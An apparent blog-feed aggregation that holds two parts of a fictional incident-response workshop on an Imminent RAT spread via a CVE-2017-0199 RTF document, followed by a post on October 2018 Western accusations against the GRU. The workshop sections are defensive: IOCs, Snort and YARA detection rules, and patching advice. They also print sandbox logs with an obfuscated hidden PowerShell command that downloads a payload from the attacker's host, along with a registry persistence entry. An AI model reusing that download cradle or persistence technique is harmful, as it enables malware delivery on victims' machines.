  • VirusTotal Link

Since both files are public, now we are free to execute them in a sandbox like Hybrid-Analysis:

If we look at the comments of VirusTotal, we have an additional analysis of VMRay, which also provides additional information:

https://www.vmray.com/analyses/1dd788c038b4/report/overview.html

From the information of all the previous sources we draw the following conclusions:

  1. The exploit used appears to be CVE-2017-0199.
  2. The document makes a TLS connection against the domain a.doko[.]moe (IP 185.83.215.16).
  3. The malware is packaged with the Morphine v1.2 packer.
  4. The malware does not make any connection with the outside world.
  5. The malware apparently has keylogger functions.
  6. The malware makes a TLS connection against the domain dankleo01.chickenkiller[.]com (IP 91.192.100.59).
  7. The malware makes a connection against the domain iptrackeronline.com.
  8. Before the vfggggg.exe file appears, another exec file appears: gabkrj.jpg.exe, which launches the explorer.exe and creates it.
  9. The directory c:\users\USER\appdata\roaming\imminent is created, with several files of interest.

We do not have the whole picture, but we have already obtained two contact domains of interest: a.doko[.]moe and dankleo01.chickenkiller[.]com (we discard www.iptrackeronline.com because it is probably a malware connection test to verify the Internet connectivity, not being malicious in itself).

The fact that point 4 contrasts with points 6 and 7 is because the information comes from different sources (and possibly, in point 4 the malware recognized the sandbox and did not run correctly).

Containment, eradication and recovery

At this moment, the basic analysis is done, so we can move on to the phase of containment and eradication of the incident. From the detection and analysis phase we have the following IOCs of interest:

  • Email with subject: “Urgent invoice for kitchen material”.
  • Email with sender: newmasterchef@protonmail.com.
  • Email with the attachment: “Purchase Order 03EDG.doc”.
  • Contact with the domain: a.doko [.]moe.
  • Contact with the domain: dankleo01.chickenkiller [.]com.

Mail-related IOCs can be cross-referenced with mail gateway logs, and they indicate that 124 users of the Organization received the malicious mail. The IOCs related to the domains can be searched in the navigation proxy logs, revealing that 6 users opened the document. The security awareness of users has improved significantly (only 5% fell for it, a reasonable amount), but it still seems necessary to strengthen the basic knowledge of some of them, inviting them to another cybersecurity awareness training.

The containment measures to be implemented are simple:

  1. 1. Block domains in the proxy or firewall to prevent any malware progression.
  2. 2. Warn users not to open the malicious email and delete it from their mailboxes (in some cases the system administrators may even delete them from the mailboxes from the mail server itself).

If we carry out an analysis of the .moe TLD we find out with amazement that it is not a reference to the Simpsons but a Japanese jargon term related to anime and manga. And to make matters worse, the .doko.moe domain is a free Hawaiian file storage service, perfect for an attacker to leave their malicious payloads.

Since it seems unlikely that .moe domains are critical to the functioning of the Organization, we propose their complete blockage. Additionally, we can draw up some basic Snort / Suricata rules for their detection:

alert tcp any any -> any 80,443 (msg:"Malware Cryptostealer HTTP/HTTPS doko.moe";classtype:trojan-activity; content:"doko.moe"; sid:666666667; rev:1; )
alert udp any any -> any 53 (msg:"Malware Cryptostealer DNS doko.moe"; flow:to_server; content:"|04|doko|03|moe"; classtype:trojan-activity; sid:666666668; rev:1; )

We copy these rules in the file /etc/Snort/rules/rules/local.rules, and check for syntax errors by verifying the configuration with:

# snort -T -i eth0 -c /etc/snort/snort.conf

If there are no errors, we restart Snort to reapply the settings:

# service snort restart

And we pass on to Snort the .pcap we previously captured here:

# snort -i eth0 -c /etc/snort/snort.conf -r /home/remnux/sandbox/labo_dfir.pcapng -l /tmp -A fast

If everything went well, we would have to have these results in the file /tmp/alert :

04/07-04:43:45.764408  [**] [1:666666668:1] Malware Cryptostealer DNS doko.moe [**] [Classification: A Network Trojan was Detected] [Priority: 1] {UDP} 192.168.25.128:59223 -> 192.168.25.2:53
04/07-04:43:45.886443  [**] [1:666666667:1] Malware Cryptostealer HTTP/HTTPS doko.moe [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 192.168.25.128:49168 -> 185.83.215.16:443
04/07-04:43:47.738537  [**] [1:666666667:1] Malware Cryptostealer HTTP/HTTPS doko.moe [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 192.168.25.128:49172 -> 185.83.215.16:443
04/07-04:43:53.321598  [**] [1:666666668:1] Malware Cryptostealer DNS doko.moe [**] [Classification: A Network Trojan was Detected] [Priority: 1] {UDP} 192.168.25.128:63047 -> 192.168.25.2:53
04/07-04:43:53.411079  [**] [1:666666667:1] Malware Cryptostealer HTTP/HTTPS doko.moe [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 192.168.25.128:49173 -> 185.83.215.16:443

Aditionally, we can generate a YARA rule to detect new malicious attachments. If we edit the RTF, we can verify it has a fairly characteristic string (the one that identifies the malicious OLE object that the exploit usually has):

A very simple rule (which should be evaluated when it comes to false positives it might generate) could be this:

rule rtf_objdata_cve_2017_0199 {
 strings:
 $header = "{\\rtff"
 $objdata = "\\object\\objautlink\\objupdate\\objw5816\\objh6097{\\*\\objdata" nocase
 condition:
 $header at 0 and $objdata  
 }

We save this file with the name “cve-2017-0199.yar” and we can check if we correctly detect the malware with our rule with the command:

# yara -smg cve-2017-0199.yar /home/remnux/malware/Purchase\ Order\ 03EDG.doc

Good practices regarding eradication in an incident are usually very simple: “Nuke it from orbit” (Lieutenant Ripley is ALWAYS right). Unless it is completely clear what type of malware is affecting the computers (and thus perform a surgical removal), the safest option is to format the computers and reinstall them.

In this case, recovery would be simple: reinstalling the computer + restoring the relevant backup copies.

However, we still have a few questions left to answer … which we will address in the next and final article.

La entrada Case study: “Imminent RATs” (II) aparece primero en Security Art Work.

Case study: “Imminent RATs” (III)

$
0
0

Articles from the series “Case study: “Imminent RATs”: [1] [2] [3]

Note: This is a fictional story; the characters and situations are not real. The only real thing is the technological part, which is based on a mixture of work done, experiences of other colleagues and research carried out.
These articles are part of a basic incident response workshop. Therefore, there are things that could be done more efficiently and elegantly… but the idea was to do them in a simple way so that they were easy to understand. And like any good practical workshop, you can follow it step by step: you can download a Remnux virtual machine with everything you need for the workshop here (for VMWare) or here (.ova format))

Additional analysis

The incident was practically solved in the previous article, but we still have some doubts in the pipeline:

  • What actions did the malware perform on the system?
  • What type of malware is it?

To get out of doubts we execute the document in a specially tuned virtual machine with anti-VM measures, which also has Noriben and Sysmon installed. In addition, we capture the outgoing traffic with WireShark to have as complete a view as possible of what the malware does.

[Note: You can download the results of the three tools here].

Here is a summary of the most relevant malware activity seen by Noriben:

  1. We observe how Word was launched:
    CreateProcess	WINWORD.EXE	3744	%ProgramFiles%\Microsoft Office\Office14\WINWORD.EXE
  2. Word makes a TLS connection against a[.]doko[.]moe:
    Network TCP Send	WINWORD.EXE 3744 185.83.215.16:443
  3. Word creates the .hta in a temporary directory:
    CreateFile	WINWORD.EXE 3744 
    %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\Z5QR0F05\svqxtm[1].hta
  4. The .hta is executed by mshta.exe, and an additional connection to a[.]doko[.]moe is observed. A powershell instance is launched.
    CreateProcess mshta.exe	1236	"%WinDir%\system32\cmd.exe 
    PoWerSHEll.exE -EX ByPASs -noP -w hIdDeN 
    (NeW-oBJEcT SySTEm.NeT.wEbcLIenT).DownLOADfIlE('https://a[.]doko[.]moe/gabkrj[.]jpg')
    Network TCP Send	mshta.exe	1236	185.83.215.16:443
  5. The script creates the file “test 02.exe”, connects again to the domain a.doko.moe and launches it.
    CreateFile powershell.exe	3456	%LocalAppData%\Temp\test 02.exe
    Network	TCP Send	powershell.exe	3456	185.83.215.16:443
    CreateProcess	powershell.exe 3456 %LocalAppData%\Temp\test 02.exe
    
  6. The “test 02.exe” executable creates the file vfggggg.exe and launches it through an instance of explorer.exe
    CreateFile test 02.exe	1392	%AppData%\vfggggg.exe
    CreateProcess test 02.exe 1392 %WinDir%\System32\explorer.exe /c select
    CreateProcess explorer.exe	1132	%AppData%\vfggggg.exe
  7. The malware creates a persistence in the registry and creates the directories in which it will store the information registered by the keylogger function:
    RegSetValue	vfggggg.exe	3208	HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dttrgsdcd
    CreateFile	vfggggg.exe	2072	%AppData%\Imminent\Monitoring\network.dat
    CreateFile	vfggggg.exe	2072	%AppData%\Imminent\Monitoring\system.dat
    

In this case, we do not have connections with the second domain (possibly for having stopped Noriben ahead of time). Wireshark (which has been running for a longer time) does show us connection with the dankleo01[.]chickenkiller[.]com domain:


Sysmon corroborates in great detail (especially with EventID 1,3 and 11, for the creation of processes, network connections and files) the information provided by Noriben.

As for the type of malware, there is no need to undertake a reversing analysis, an Internet search using some feature strings allows us to find the following information:

https://www.safer-networking.org/2017/manual-removal-guide-for-rat-imminent-2/
https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/
https://itsjack.cc/blog/2016/03/imminent-monitor-4-rat-analysis-further-into-the-rat/
https://imminentmethods.net/purchase/

Apparently, our malware is a RAT (Remote Administration Tool), a tool that allows the attacker to take control of our computer. According to the company that sells it (in our case 99% will be a pirated version), Imminent allows, among other things, to extract passwords from different browsers, record with the webcam or act as a keylogger.
We only have to check that the problem is solved by applying the corresponding patch (in our case, KB3178710). We install it on our virtual machine and replicate the execution of the malicious document again.

[Note: You can download the results of all three tools with the patch applied here].

With the equipment patched up… the connection to a[.]doko[.]moe is still made! WTF?! We can see there is no second connection to chickenkiller[.]com, and the Powershell is not actually launched. However, the download of .hta does occur.

To find an answer to this enigma, we have to inquire about the operation of the exploit. In this article, our colleagues from HackPlayers explain it perfectly:

http://www.hackplayers.com/2017/04/explotacion-practica-de-cve-2017-0199.html

If you look at step 6, the attackers have modified the RTF to add the string “objupdate”:

\\object\\objautlink\\objupdate\\objw5816

The objupdate control is very sibylline, as it implies the object has to be updated before it is displayed. And since the content is on an external link, it generates the connection (and independently of any interaction by the user as an extra bonus). In this case, the connection generates the download of the .hta that had to be executed by the exploit (which could not be exploited when the vulnerability was patched).

Learnt lessons

The incident was light and ended without making an impact on the Organization, but it left some food for thougths:

  • The malware was getting smarter and smarter: it managed to bypass both the server and the computer’s antivirus, and it also managed to dodge the proxy and the firewall with blissful happinness.
  • The .hta are not necessary in 99.99% of the cases: block them with extreme prejudice.
  • Patches are vital to an Organization’s IT health. Deploy them with discipline and do not even miss one that’s important.
  • Users must be made aware. In many cases, they are the Organization’s last line of defense.
  • Patches come in three types: individual, safety pack and complete pack. All three should be reviewed before determining whether a patch is installed or not.
  • RTFs are loaded by the devil, and they do very strange things. Keep an eye on them.

A RAT, even if it is old, it is always a serious thing. Watching out so rats do not “enter” your Organization is necessary, because nobody likes to have to “deRATize” … until next time!

La entrada Case study: “Imminent RATs” (III) aparece primero en Security Art Work.

(Cyber) GRU (V): October 2018

$
0
0

If 2018 was already a bad year for the GRU, on October 4th, different Western countries gave the final touch to the Service by publishing information about their operations and agents: it is the Netherlands, the United Kingdom, Canada and the United States – and immediately Australia and New Zealand, as is normal, supported their allies. Summarizing: Holland and FVEY finish off the annus horribilis of the Service, as we will see in this post.

Holland

On October 4th, the Dutch military intelligence, the MIVD (Militaire Inlichtingen- en Veiligheidsdienst) published in a press conference ([1]) the operation carried out in April in which four GRU members were identified and expelled from the country on charges of attacking the Organization for the Prohibition of Chemical Weapons (OPCW); as the US Department of Justice did in July, it provides a wealth of detail about the identities, techniques, security measures, objectives … of GRU agents operating on Dutch soil with diplomatic passports. According to this information, four agents of the Service (two assigned to Unit 26165, Aleksei SERGEYEVICH MORENETS and Evgenii MIKHAYLOVICH SEREBRIAKOV, and two possibly assigned to Unit 22177, Alexey VALEREVICH MININ and Oleg MIKHAYLOVICH SOTNIKOV) land on April 10 in the Netherlands and are received by staff from the Russian Embassy in this country, they rent a car and execute a close access operation to try to compromise the security of the OPCW. They are identified, money is seized in cash and technical equipment (which of course is analyzed in detail, showing data from other operations) that includes devices to attack wireless networks and are accompanied to an Aeroflot plane that returns them to Russia. In the face of serious Dutch accusations, Russia defends that its agents simply conducted a security inspection at the country’s embassy in the Netherlands.

UK

The NCSC (National Cyber Security Center), dependent on the British GCHQ, on October 4th also gives a new and hard blow to the GRU [2]: as we have said before, it accuses the Russian service, directly and openly, of various cyber-attacks, including against the anti-doping agency WADA or the US DNC. Without the display of evidence from the Dutch, the British accuse the GRU – and identify it directly with APT28 – of attacks against the International Anti-Doping Agency (WADA), the DNC, critical infrastructure in the Ukraine or the Organization for the Prohibition of Chemical Weapons (OPCW). In all cases it explicit states “NCSC assess with high confidence that the GRU was almost certainly responsible”: this high level of confidence in their statements makes the British government to directly accuse the Kremlin of these attacks; it further indicates that the NCSC will continue to work with its allies to bring the GRU’s activities and methods to light (a particularly significant phrase).

USA

That same day the Department of Justice published a new accusation against GRU agents. On this occasion, seven agents of the Service were identified, four of whom were expelled from Holland in April and the remaining three had been identified in July by the same Department. The following table shows the summary of these identities:

 

Unit Name Job Position Aliases Previous accusations
26165 Aleksei SERGEYEVICH MORENETS Lexa
26165 Evgenii MIKHAYLOVICH SEREBRIAKOV Zhenya
26165 Artem ANDREYEVICH MALYSHEV Lieutenant djangomagicdev
realblatr
DNC
26165 Ivan SERGEYEVICH YERMAKOV Kate S. Milton
James McMorgans
Karen W. Millen
DNC
26165 Dimitry SERGEYEVICH BADIN Assistant Head of Department DNC
22177 Alexey VALEREVICH MININ
¿22177? Oleg MIKHAYLOVICH SOTNIKOV

 

The Department of Justice accuses ([3]) all of them of attacks, in addition to companies such as WestingHouse Electric Company, anti-doping organizations such as WADA, of which we have already spoken, the USADA (US Anti Doping Agency) or the CCES (Canadian Center for Ethics in Sport), among others. In particular, and hence the issue of the arrest warrant issued by the FBI shown in the image, the GRU apparently focused on attacking this type of organizations linked to sport, perhaps as a result of the accusations against Russia of systematic doping of its athletes and its impact on the Rio de Janeiro Olympics in 2016.

Search poster published by the FBI (October 2018)

Canada

Finally, on the same day, Canada also joined the official accusations against the GRU by publicly demonstrating ([4]), albeit more succinctly than the rest of the countries, that the Russian Service, again identified with APT28, attacked WADA – headquartered in Canada – and the Canadian Center for Ethics in Sport, and also blames the GRU for the attacks on OPCW in the Netherlands, thus supporting its allies. All this, as in previous cases, with high confidence. For this reason, the Canadian government considers the Russian government directly responsible for a violation of international laws and established norms.

References

La entrada (Cyber) GRU (V): October 2018 aparece primero en Security Art Work.

Viewing all 155 articles
Browse latest View live